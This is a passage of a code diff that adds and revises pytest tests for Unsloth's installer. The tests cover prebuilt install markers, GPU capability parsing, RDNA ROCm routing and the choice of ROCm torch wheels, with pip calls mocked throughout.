+    changed = core.compute_install_fingerprint(**{**kwargs, "asset_sha256": "1" * 64})
+    assert changed != first
+
+
+def test_write_and_match_marker(component, tmp_path):
+    host = make_host(component)
+    install_dir = tmp_path / "install"
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [artifact(backend = "cpu", asset = "cpu.tar.gz")]), label = "m"
+    )
+    selection = component.ops.selection_from_artifact(
+        published_repo = component.descriptor.published_repo,
+        release_tag = "v1",
+        manifest = manifest,
+        artifact = manifest["artifacts"][0],
+        backend = "cpu",
+        asset_sha256 = "0" * 64,
+    )
+    # No marker on disk yet -> not a match.
+    assert not component.ops.existing_install_matches(install_dir, host, selection)
+    bin_dir = component.ops.runtime_bin_dir(install_dir, host)
+    bin_dir.mkdir(parents = True)
+    component.ops.write_prebuilt_metadata(install_dir, selection)
+    # Marker alone is not enough: the server binary must exist too.
+    assert not component.ops.existing_install_matches(install_dir, host, selection)
+    (bin_dir / component.ops.server_binary_name(host)).write_bytes(b"bin")
+    marker = json.loads((install_dir / component.descriptor.metadata_filename).read_text())
+    assert marker["component"] == component.descriptor.component
+    assert marker["install_fingerprint"] == selection.fingerprint()
+    assert component.ops.existing_install_matches(install_dir, host, selection)
+    # A different selection (new sha) must force a reinstall.
+    other = core.InstallSelection(
+        **{
+            **selection.__dict__,
+            "asset_sha256": "1" * 64,
+        }
+    )
+    assert not component.ops.existing_install_matches(install_dir, host, other)
+
+
+def test_slim_selection_fields_are_additive(component, tmp_path):
+    """The slim pairing identity rides InstallSelection additively: it never
+    enters the fingerprint, and only a slim selection writes marker fields."""
+    manifest = component.ops.parse_manifest(
+        manifest_for(component, [artifact(backend = "cpu", asset = "cpu.tar.gz")]), label = "m"
+    )
+    selection = component.ops.selection_from_artifact(
+        published_repo = component.descriptor.published_repo,
+        release_tag = "v1",
+        manifest = manifest,
+        artifact = manifest["artifacts"][0],
+        backend = "cpu",
+        asset_sha256 = "0" * 64,
+    )
+    import dataclasses
+
+    slim = dataclasses.replace(
+        selection,
+        install_kind = "slim",
+        paired_llama_tag = "b10069-mix-fb3d4ca",
+        linked_from = "/llama/build/bin",
+        linked_libraries = ("libggml.so.0", "libggml-base.so.0"),
+    )
+    assert slim.fingerprint() == selection.fingerprint()  # no change to the computation
+
+    fat_dir, slim_dir = tmp_path / "fat", tmp_path / "slim"
+    fat_dir.mkdir(), slim_dir.mkdir()
+    component.ops.write_prebuilt_metadata(fat_dir, selection)
+    fat_marker = json.loads((fat_dir / component.descriptor.metadata_filename).read_text())
+    for key in ("install_kind", "paired_llama_tag", "linked_from", "linked_libraries"):
+        assert key not in fat_marker
+    component.ops.write_prebuilt_metadata(slim_dir, slim)
+    slim_marker = json.loads((slim_dir / component.descriptor.metadata_filename).read_text())
+    assert slim_marker["install_kind"] == "slim"
+    assert slim_marker["paired_llama_tag"] == "b10069-mix-fb3d4ca"
+    assert slim_marker["linked_from"] == "/llama/build/bin"
+    assert slim_marker["linked_libraries"] == ["libggml.so.0", "libggml-base.so.0"]
+    assert set(slim_marker) == set(fat_marker) | {
+        "install_kind",
+        "paired_llama_tag",
+        "linked_from",
+        "linked_libraries",
+    }
+
+
+def test_core_slim_hooks_default_inert(component, tmp_path):
+    # A component without its own hooks stages nothing extra and adds no
+    # resolver fields (llama's probe output must stay byte-identical).
+    assert component.ops.resolver_payload_extra({"install_kind": "slim"}) == {}
+    host = make_host(component)
+    selection = object()
+    assert component.ops.prepare_runtime_payload(tmp_path, host, selection) is None
+
+
+def test_busy_activation_restores_previous_install(monkeypatch, tmp_path):
+    install_dir = tmp_path / "whisper.cpp"
+    staged_root = tmp_path / "staged"
+    install_dir.mkdir()
+    staged_root.mkdir()
+    (install_dir / "version").write_text("old")
+    (staged_root / "version").write_text("new")
+    real_replace = core.os.replace
+
+    def locked_activation(source, destination):
+        if Path(source) == staged_root:
+            raise PermissionError(13, "Permission denied")
+        return real_replace(source, destination)
+
+    monkeypatch.setattr(core.os, "replace", locked_activation)
+    with pytest.raises(core.BusyInstallConflict):
+        core.swap_into_place(staged_root, install_dir)
+
+    assert (install_dir / "version").read_text() == "old"
+    assert staged_root.is_dir()
+    assert not list(tmp_path.glob(".whisper.cpp.old-*"))
+
+
+# ── Host/GPU token helpers (component-independent core functions) ──
+# Value tables moved verbatim from the llama characterization suite; these are
+# pure functions with no descriptor sensitivity, so they run unparameterized.
+@pytest.mark.parametrize(
+    "value,expected",
+    [
+        ("8.6", "86"),
+        ("07.05", "75"),
+        ("75", "75"),
+        (86, "86"),
+        ("", None),
+        ("  ", None),
+        ("x.y", None),
+        ("8.6.0", None),
+        ("9.0", "90"),
+    ],
+)
+def test_normalize_compute_cap(value, expected):
+    assert core.normalize_compute_cap(value) == expected
+
+
+@pytest.mark.parametrize(
+    "values,expected",
+    [
+        (["8.6", "86", "8.6"], ["86"]),  # deduplication
+        (["9.0", "7.5", "8.6"], ["75", "86", "90"]),  # numeric sort
+        (["8.6", "bad", "", "7.5"], ["75", "86"]),  # drops invalid
+        ([], []),
+    ],
+)
+def test_normalize_compute_caps(values, expected):
+    assert core.normalize_compute_caps(values) == expected
+
+
+@pytest.mark.parametrize(
+    "value,expected",
+    [
+        (None, None),
+        ("", []),
+        ("-1", []),
+        ("0", ["0"]),
+        ("0,1,2", ["0", "1", "2"]),
+        (" 0 , 1 ", ["0", "1"]),
+    ],
+)
+def test_parse_cuda_visible_devices(value, expected):
+    assert core.parse_cuda_visible_devices(value) == expected
+
+
+@pytest.mark.parametrize(
+    "visible,expected",
+    [
+        (["0", "1", "2"], True),
+        (["GPU-abc123"], True),
+        (None, False),
+        ([], False),
+        (["0", "MIG-device"], False),
+    ],
+)
+def test_supports_explicit_visible_device_matching(visible, expected):
+    assert core.supports_explicit_visible_device_matching(visible) is expected
+
+
+_GPU_ROWS = [
+    ("0", "GPU-aaa", "8.6"),
+    ("1", "GPU-bbb", "7.5"),
+    ("2", "GPU-ccc", "8.9"),
+]
+
+
+@pytest.mark.parametrize(
+    "visible,expected_indices",
+    [
+        (None, [0, 1, 2]),  # no filter returns all
+        ([], []),
+        (["0", "2"], [0, 2]),  # filter by index
+        (["gpu-bbb"], [1]),  # UUID match is case insensitive
+        (["0", "0"], [0]),  # same device requested twice is deduplicated
+        (["99"], []),  # unknown token matches nothing
+    ],
+)
+def test_select_visible_gpu_rows(visible, expected_indices):
+    expected = [_GPU_ROWS[i] for i in expected_indices]
+    assert core.select_visible_gpu_rows(_GPU_ROWS, visible) == expected
+
+
+@pytest.mark.parametrize(
+    "driver,expected",
+    [
+        (None, []),
+        ((11, 8), []),
+        ((12, 4), ["cuda12"]),
+        ((13, 0), ["cuda13", "cuda12"]),
+        ((14, 0), ["cuda14", "cuda13", "cuda12"]),  # future major derives lines
+    ],
+)
+def test_compatible_linux_runtime_lines(driver, expected):
+    host = SimpleNamespace(driver_cuda_version = driver)
+    assert core.compatible_linux_runtime_lines(host) == expected
+
+
+@pytest.mark.parametrize(
+    "value,expected",
+    [
+        ("12.6", "cuda12"),
+        ("13.0", "cuda13"),
+        ("11.8", None),
+        (None, None),
+        ("", None),
+    ],
+)
+def test_runtime_line_from_cuda_version(value, expected):
+    assert core.runtime_line_from_cuda_version(value) == expected
+
+
+def _caps_host(caps):
+    return SimpleNamespace(compute_caps = list(caps))
+
+
+def test_host_is_blackwell_includes_datacenter_parts():
+    assert core.host_is_blackwell(_caps_host(["10.0"])) is True  # B200 sm_100
+    assert core.host_is_blackwell(_caps_host(["10.3"])) is True  # B300 sm_103
+    assert core.host_is_blackwell(_caps_host(["12.0"])) is True  # RTX 50 sm_120
+    assert core.host_is_blackwell(_caps_host(["12.1"])) is True  # DGX Spark sm_121
+    assert core.host_is_blackwell(_caps_host(["9.0"])) is False  # Hopper
+    assert core.host_is_blackwell(_caps_host(["8.0"])) is False  # Ampere
+    assert core.host_is_blackwell(_caps_host(["9.0", "10.0"])) is True  # highest cap wins
+
+
+def test_blackwell_min_toolkit_is_sm_aware():
+    # Family floor is 12.8; sm_103/sm_121 (no native target before 12.9) lift it.
+    f = core.blackwell_min_toolkit_for_host
+    assert f(_caps_host(["10.0"])) == (12, 8)  # B200
+    assert f(_caps_host(["12.0"])) == (12, 8)  # RTX 50
+    assert f(_caps_host(["10.3"])) == (12, 9)  # B300
+    assert f(_caps_host(["12.1"])) == (12, 9)  # DGX Spark
+    assert f(_caps_host(["10.0", "10.3"])) == (12, 9)  # max across SMs wins
+
+
+# ── The ops seam ──
+def test_module_ops_prefers_module_globals_over_core_defaults(component):
+    ns = dict(component.namespace)
+    calls = []
+
+    def fake_download_file(url, destination):
+        calls.append(url)
+        destination.write_bytes(b"data")
+
+    ns["download_file"] = fake_download_file
+    ops = core.ModuleOps(ns)
+    assert ops.download_file is fake_download_file
+    # Core defaults still resolve (and come back bound) for everything else.
+    assert callable(ops.fetch_json)
+    with pytest.raises(AttributeError):
+        _ = ops.does_not_exist_anywhere
diff --git a/tests/studio/install/test_rocm_rdna_routing.py b/tests/studio/install/test_rocm_rdna_routing.py
new file mode 100644
index 0000000000..b4aeafb7e4
--- /dev/null
+++ b/tests/studio/install/test_rocm_rdna_routing.py
@@ -0,0 +1,84 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team.
+"""RDNA 2/3/4 routing, validated on CPU-only CI with no AMD hardware.
+
+tests/_zoo_rocm_spoof.py presents torch as each Radeon gfx arch, then we assert
+unsloth_zoo routes it: device_type -> "hip", llama.cpp target -> ("rocm", gfx),
+and the per-family ROCm bundle suffix. The torch-facing checks run in a
+subprocess so the spoof never leaks into sibling tests and DEVICE_TYPE (cached
+at import) resolves from a clean process.
+"""
+
+from __future__ import annotations
+
+import json
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+pytest.importorskip("torch")
+pytest.importorskip("unsloth_zoo")
+
+_TESTS_DIR = Path(__file__).resolve().parents[2]  # tests/
+
+# gfx -> (expected llama.cpp target, expected ROCm bundle family).
+_ARCHES = {
+    "gfx1030": (("rocm", "gfx1030"), "gfx103X"),  # RDNA2
+    "gfx1031": (("rocm", "gfx1031"), "gfx103X"),
+    "gfx1032": (("rocm", "gfx1032"), "gfx103X"),
+    "gfx1034": (("rocm", "gfx1034"), "gfx103X"),
+    "gfx1100": (("rocm", "gfx1100"), "gfx110X"),  # RDNA3
+    "gfx1101": (("rocm", "gfx1101"), "gfx110X"),
+    "gfx1102": (("rocm", "gfx1102"), "gfx110X"),
+    "gfx1150": (("rocm", "gfx1150"), "gfx1150"),  # RDNA3.5 APU (self-family)
+    "gfx1151": (("rocm", "gfx1151"), "gfx1151"),
+    "gfx1200": (("rocm", "gfx1200"), "gfx120X"),  # RDNA4
+    "gfx1201": (("rocm", "gfx1201"), "gfx120X"),
+}
+
+# Child: spoof each arch, then record device_type once (fresh import) and the
+# live llama.cpp target per arch. Emits one JSON line the parent parses.
+_CHILD = """
+import json, sys
+sys.path.insert(0, {tests!r})
+import _zoo_rocm_spoof as spoof
+arches = {arches!r}
+spoof.apply(arches[0])
+from unsloth_zoo.device_type import get_device_type, is_hip
+device_type = [get_device_type(), is_hip()]
+from unsloth_zoo import llama_cpp as lc
+targets = {{}}
+for gfx in arches:
+    spoof.apply(gfx)
+    targets[gfx] = list(lc._detect_gpu_target())
+print("RESULT " + json.dumps({{"device_type": device_type, "targets": targets}}))
+"""
+
+
+@pytest.fixture(scope = "module")
+def routed():
+    code = _CHILD.format(tests = str(_TESTS_DIR), arches = list(_ARCHES))
+    proc = subprocess.run([sys.executable, "-c", code], capture_output = True, text = True)
+    line = next((l for l in proc.stdout.splitlines() if l.startswith("RESULT ")), None)
+    assert line, f"child produced no result.\nstdout:\n{proc.stdout}\nstderr:\n{proc.stderr}"
+    return json.loads(line[len("RESULT ") :])
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_detect_gpu_target(routed, gfx):
+    # RDNA card is routed to its ROCm gfx target (drives the llama.cpp bundle).
+    assert tuple(routed["targets"][gfx]) == _ARCHES[gfx][0]
+
+
+def test_device_type_is_hip(routed):
+    # An RDNA card must resolve the compute device_type to "hip".
+    assert routed["device_type"] == ["hip", True]
+
+
+@pytest.mark.parametrize("gfx", list(_ARCHES))
+def test_rocm_gfx_family(gfx):
+    # Pure mapping (no torch): each gfx picks the right per-family ROCm bundle.
+    from unsloth_zoo import llama_cpp as lc
+    assert lc._rocm_gfx_family(gfx) == _ARCHES[gfx][1]
diff --git a/tests/studio/install/test_rocm_support.py b/tests/studio/install/test_rocm_support.py
index c8f2053946..b919206120 100644
--- a/tests/studio/install/test_rocm_support.py
+++ b/tests/studio/install/test_rocm_support.py
@@ -3,9 +3,13 @@
 import importlib.util
 import json
 import os
+import re
+import shutil
 import subprocess
 import sys
+import tempfile
 from pathlib import Path
+from types import SimpleNamespace
 from unittest.mock import MagicMock, mock_open, patch, PropertyMock
 
 import pytest
@@ -228,6 +232,10 @@ UPSTREAM_ASSETS = {
 class TestResolveUpstreamAssetChoice:
     """Verify that the asset selection logic picks the right binary for each platform."""
 
+    # The plain cpu-linux / windows-cpu / macos-arm64 routing cases live in
+    # test_selection_logic.py::TestResolveUpstreamAssetChoice (exact-name pins);
+    # this class keeps the ROCm/NVIDIA-precedence dialect only.
+
     @patch.object(prebuilt_mod, "github_release_assets", return_value = UPSTREAM_ASSETS)
     def test_nvidia_linux_gets_cpu_asset(self, mock_assets):
         """NVIDIA host should NOT hit the ROCm path -- gets CPU asset (CUDA handled elsewhere)."""
@@ -245,30 +253,6 @@ class TestResolveUpstreamAssetChoice:
         assert choice.install_kind == "linux-rocm"
         assert "rocm" in choice.name
 
-    @patch.object(prebuilt_mod, "github_release_assets", return_value = UPSTREAM_ASSETS)
-    def test_cpu_linux_gets_cpu_asset(self, mock_assets):
-        """CPU-only Linux host should get CPU asset."""
-        host = cpu_host()
-        choice = resolve_upstream_asset_choice(host, LLAMA_TAG)
-        assert choice.install_kind == "linux-cpu"
-        assert "ubuntu-x64" in choice.name
-
-    @patch.object(prebuilt_mod, "github_release_assets", return_value = UPSTREAM_ASSETS)
-    def test_macos_arm64_gets_macos_asset(self, mock_assets):
-        """macOS arm64 host should get macOS asset."""
-        host = macos_host()
-        choice = resolve_upstream_asset_choice(host, LLAMA_TAG)
-        assert choice.install_kind == "macos-arm64"
-        assert "macos-arm64" in choice.name
-
-    @patch.object(prebuilt_mod, "github_release_assets", return_value = UPSTREAM_ASSETS)
-    def test_windows_cpu_gets_cpu_asset(self, mock_assets):
-        """Windows CPU-only host should get Windows CPU asset."""
-        host = windows_host()
-        choice = resolve_upstream_asset_choice(host, LLAMA_TAG)
-        assert choice.install_kind == "windows-cpu"
-        assert "win-cpu" in choice.name
-
     @patch.object(prebuilt_mod, "github_release_assets", return_value = UPSTREAM_ASSETS)
     def test_windows_rocm_gets_hip_asset(self, mock_assets):
         """Windows ROCm host should get Windows HIP asset."""
@@ -360,7 +344,7 @@ class TestRuntimePatterns:
             install_kind = "windows-hip",
         )
         patterns = runtime_patterns_for_choice(choice)
-        # Narrowed from "*.exe" to the two binaries Studio actually invokes.
+        # Narrowed from "*.exe" to the two binaries Unsloth actually invokes.
         assert "llama-server.exe" in patterns
         assert "llama-quantize.exe" in patterns
         assert "*.dll" in patterns
@@ -378,7 +362,7 @@ class TestRuntimePatterns:
         assert "lib*.dylib" in patterns
 
     def test_diffusion_visual_server_kept(self):
-        # The DiffusionGemma visual-server must survive the prune so Studio can
+        # The DiffusionGemma visual-server must survive the prune so Unsloth can
         # serve DiffusionGemma GGUFs natively.
         for kind, name in (
             ("linux-cuda", "llama-diffusion-gemma-visual-server"),
@@ -557,9 +541,13 @@ class TestDetectRocmVersion:
 class TestEnsureRocmTorch:
     """Verify ROCm torch reinstall logic."""
 
+    # _infer_linux_amd_gfx_arch mocked to None: on a real Strix host the live
+    # /proc/cpuinfo would otherwise take the inferred-install path and break
+    # these "must not install" hosts (environment leak, not the code under test).
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
-    def test_no_rocm_skips(self, mock_nvidia, mock_pip):
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = None)
+    def test_no_rocm_skips(self, mock_infer, mock_nvidia, mock_pip):
         """No ROCm toolchain should skip entirely."""
         # Pin _detect_windows_gfx_arch to None so a real AMD test host's WMI
         # fallback can't defeat the "no ROCm anywhere" premise.
@@ -569,19 +557,126 @@ class TestEnsureRocmTorch:
                     _ensure_rocm_torch()
         mock_pip.assert_not_called()
 
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = False)
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = "gfx1151")
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = None)
+    def test_inferred_gfx_without_rocm_runtime_installs_amd_index(
+        self, mock_ver, mock_infer, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """Strix Halo without /dev/kfd must still get AMD gfx1151 wheels (unslothai#7301)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"|2.10.0+cpu\n"
+        with patch("os.path.isdir", return_value = True):
+            with patch("subprocess.run", return_value = mock_probe):
+                _ensure_rocm_torch()
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = False)
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = "gfx1151")
+    @patch.object(stack_mod, "_detect_amd_gfx_codes", return_value = [])
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
+    def test_inferred_gfx_not_overwritten_when_rocm_userland_readable(
+        self, mock_ver, mock_gfx, mock_infer, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """Codex P1 #7305: after an inferred per-arch install, do not fall through to the
+        generic pytorch.org/rocmX.Y reinstall just because has_hip_torch is still False.
+        Readable ROCm userland without /dev/kfd is exactly the case that used to overwrite
+        the AMD gfx wheels."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"|2.10.0+cpu\n"
+        with patch("os.path.isdir", return_value = True):
+            with patch("subprocess.run", return_value = mock_probe):
+                _ensure_rocm_torch()
+        assert mock_pip.call_count == 1, mock_pip.call_args_list
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "rocm7.1" not in torch_call
+        assert "download.pytorch.org" not in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = "gfx1151")
+    @patch.object(stack_mod, "_detect_amd_gfx_codes", return_value = ["gfx1100"])
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
+    def test_inference_yields_to_runtime_visible_gpu(
+        self, mock_ver, mock_gfx, mock_infer, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """When the runtime CAN enumerate a GPU, the cpuinfo inference must not
+        install wheels: a mixed Strix APU + dGPU box with the dGPU selected would
+        otherwise get gfx1151 wheels for a gfx1100 GPU. The runtime-visible arch
+        (Strix override / generic branch) decides instead."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"|2.10.0+cpu\n"
+        with patch("os.path.isdir", return_value = True):
+            with patch("subprocess.run", return_value = mock_probe):
+                _ensure_rocm_torch()
+        all_calls = str(mock_pip.call_args_list) + str(mock_pip_try.call_args_list)
+        assert "gfx1151" not in all_calls, all_calls
+        assert "rocm7.1" in all_calls, all_calls
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_amd_gfx_codes", return_value = [])
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = None)
+    def test_gfx_override_installs_despite_visible_rocm(
+        self, mock_ver, mock_gfx, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """#7305 review: an explicit UNSLOTH_ROCM_GFX_ARCH is exempt from the
+        not-_has_rocm_gpu() gate (mirrors install.sh). A visible GPU with an
+        unreadable ROCm version must not silently discard the user's named arch
+        and leave CPU torch in place -- the per-arch install runs."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"|2.10.0+cpu\n"
+        with patch.dict(os.environ, {"UNSLOTH_ROCM_GFX_ARCH": "gfx1151"}):
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    _ensure_rocm_torch()
+        assert mock_pip.call_count == 1, mock_pip.call_args_list
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "download.pytorch.org" not in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
     @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
-    def test_torch_already_has_cuda_skips(self, mock_ver, mock_gpu, mock_nvidia, mock_pip):
-        """If torch already has CUDA, should skip ROCm reinstall."""
+    def test_cuda_torch_on_amd_host_reinstalls(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """A CUDA-only torch build is unusable on an AMD-only host, so it must be
+        reinstalled to ROCm (has_hip_torch is driven by the empty HIP marker, not
+        by treating the CUDA version string as a HIP marker)."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
-        mock_probe.stdout = b"12.6\n"  # CUDA version
+        # Single-line probe: empty HIP marker before "|" for a CUDA build.
+        mock_probe.stdout = b"|2.10.0+cu126\n"
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", return_value = mock_probe):
                 _ensure_rocm_torch()
-        mock_pip.assert_not_called()
+        assert mock_pip.call_count == 1
+        assert "rocm7.1" in str(mock_pip.call_args_list[0])
 
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
@@ -591,12 +686,31 @@ class TestEnsureRocmTorch:
         """If torch already has HIP, should skip ROCm reinstall."""
         mock_probe = MagicMock()
         mock_probe.returncode = 0
-        mock_probe.stdout = b"7.1.12345\n"  # HIP version
+        mock_probe.stdout = b"7.1.12345|2.10.0+rocm7.1\n"  # HIP marker + version
         with patch("os.path.isdir", return_value = True):
             with patch("subprocess.run", return_value = mock_probe):
                 _ensure_rocm_torch()
         mock_pip.assert_not_called()
 
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 1))
+    def test_cpu_torch_probe_line_not_read_as_hip(self, mock_ver, mock_gpu, mock_nvidia, mock_pip):
+        """A CPU build's probe line ("|2.10.0+cpu") must not read as HIP: the version
+        after the "|" separator is data, not a HIP marker, so has_hip_torch stays False
+        and the reinstall fires."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"|2.10.0+cpu\n"
+        with patch("os.path.isdir", return_value = True):
+            with patch("subprocess.run", return_value = mock_probe):
+                with patch.object(stack_mod, "pip_install_try", return_value = True):
+                    _ensure_rocm_torch()
+        assert mock_pip.call_count == 1
+        assert "rocm7.1" in str(mock_pip.call_args_list[0])
+
     @patch.object(stack_mod, "IS_WINDOWS", False)
     @patch.object(stack_mod, "pip_install_try", return_value = True)
     @patch.object(stack_mod, "pip_install")
@@ -653,9 +767,10 @@ class TestEnsureRocmTorch:
     @patch.object(stack_mod, "pip_install")
     @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
     @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_infer_linux_amd_gfx_arch", return_value = None)
     @patch.object(stack_mod, "_detect_rocm_version", return_value = None)
     def test_version_unreadable_prints_warning(
-        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, capsys
+        self, mock_ver, mock_infer, mock_gpu, mock_nvidia, mock_pip, capsys
     ):
         """ROCm detected but version unreadable should print warning and skip."""
         with patch("os.path.isdir", return_value = True):
@@ -680,6 +795,316 @@ class TestEnsureRocmTorch:
         torch_call = mock_pip.call_args_list[0]
         assert "rocm7.2" in str(torch_call)
 
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (7, 14))
+    @patch.object(stack_mod, "_detect_amd_gfx_codes", return_value = ["gfx1150"])
+    def test_rocm_714_strix_routes_to_amd_arch_index(
+        self, mock_gfx, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """ROCm 7.14 caps to rocm7.2 on pytorch.org; Strix must use AMD gfx index."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"7.14.60850|2.11.0+rocm7.2\n"
+        with patch("os.path.isdir", return_value = True):
+            with patch("subprocess.run", return_value = mock_probe):
+                _ensure_rocm_torch()
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1150" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    @patch.object(stack_mod, "IS_WINDOWS", False)
+    @patch.object(stack_mod, "pip_install_try", return_value = True)
+    @patch.object(stack_mod, "pip_install")
+    @patch.object(stack_mod, "_has_usable_nvidia_gpu", return_value = False)
+    @patch.object(stack_mod, "_has_rocm_gpu", return_value = True)
+    @patch.object(stack_mod, "_detect_rocm_version", return_value = (6, 4))
+    def test_explicit_gfx_index_honored_and_skips_strix_reroute(
+        self, mock_ver, mock_gpu, mock_nvidia, mock_pip, mock_pip_try
+    ):
+        """An explicit gfx wheel-index pin is authoritative: install from it verbatim
+        with torch 2.11, and never re-probe gfx codes to second-guess it (host ROCm 6.4
+        would otherwise pick the rocm6.4 wheel / trigger the Strix re-route)."""
+        mock_probe = MagicMock()
+        mock_probe.returncode = 0
+        mock_probe.stdout = b"\n"  # cpu torch -> reinstall
+        env = {"UNSLOTH_TORCH_INDEX_URL": "https://repo.amd.com/rocm/whl/gfx1151"}
+        with patch.dict(stack_mod.os.environ, env, clear = False):
+            stack_mod.os.environ.pop("UNSLOTH_TORCH_INDEX_FAMILY", None)
+            with patch("os.path.isdir", return_value = True):
+                with patch("subprocess.run", return_value = mock_probe):
+                    # Would raise if the Strix block ran (it is skipped on an explicit pin).
+                    with patch.object(
+                        stack_mod, "_detect_amd_gfx_codes", side_effect = AssertionError
+                    ):
+                        _ensure_rocm_torch()
+        assert mock_pip.call_count == 1
+        torch_call = str(mock_pip.call_args_list[0])
+        assert "gfx1151" in torch_call
+        assert "torch>=2.11.0,<2.12.0" in torch_call
+
+    def test_rocm_pin_family_mismatch_helper(self):
+        """_rocm_pin_family_mismatch: exact rocm compare, else the 2.11 line."""
+        f = stack_mod._rocm_pin_family_mismatch
+        base = "https://download.pytorch.org/whl"
+        amd = "https://repo.amd.com/rocm/whl"
+        # Exact rocm version comparison.
+        assert f(f"{base}/rocm7.2", "2.11.0+rocm7.2") is False
+        assert f(f"{base}/rocm7.2", "2.10.0+rocm6.4") is True
+        assert f(f"{base}/rocm6.4", "2.10.0+rocm6.4") is False
+        # rocm7.2 is KNOWN-2.11. A +rocm7.2 wheel whose RELEASE drifted off 2.11 shares the
+        # tag but violates the spec -> mismatch (a plain version compare would accept it).
+        assert f(f"{base}/rocm7.2", "2.12.0+rocm7.2") is True
+        assert f(f"{base}/rocm7.2", "2.13.0+rocm7.2") is True
+        assert f(f"{base}/rocm7.2", "2.11.5+rocm7.2") is False  # patch on 2.11 is in-spec
+        # An UNKNOWN newer rocm (not on the 2.11 allowlist) is not floored to 2.11, so a
+        # matching rocm version at any release line is NOT a mismatch on this branch.
+        assert f(f"{base}/rocm8.0", "2.12.0+rocm8.0") is False
+        # gfx pin (2.11 line) vs installed release line.
+        assert f(f"{amd}/gfx1151", "2.10.0+rocm6.4") is True
+        assert f(f"{amd}/gfx1151", "2.11.0+rocm7.13.0") is False
+        # rocm7.2 pin vs an untagged (no +rocm) wheel: a CPU/CUDA build never
+        # satisfies a ROCm pin, regardless of its release line -> always a mismatch.
+        assert f(f"{base}/rocm7.2", "2.10.0") is True
+        assert f(f"{base}/rocm7.2", "2.11.0") is True
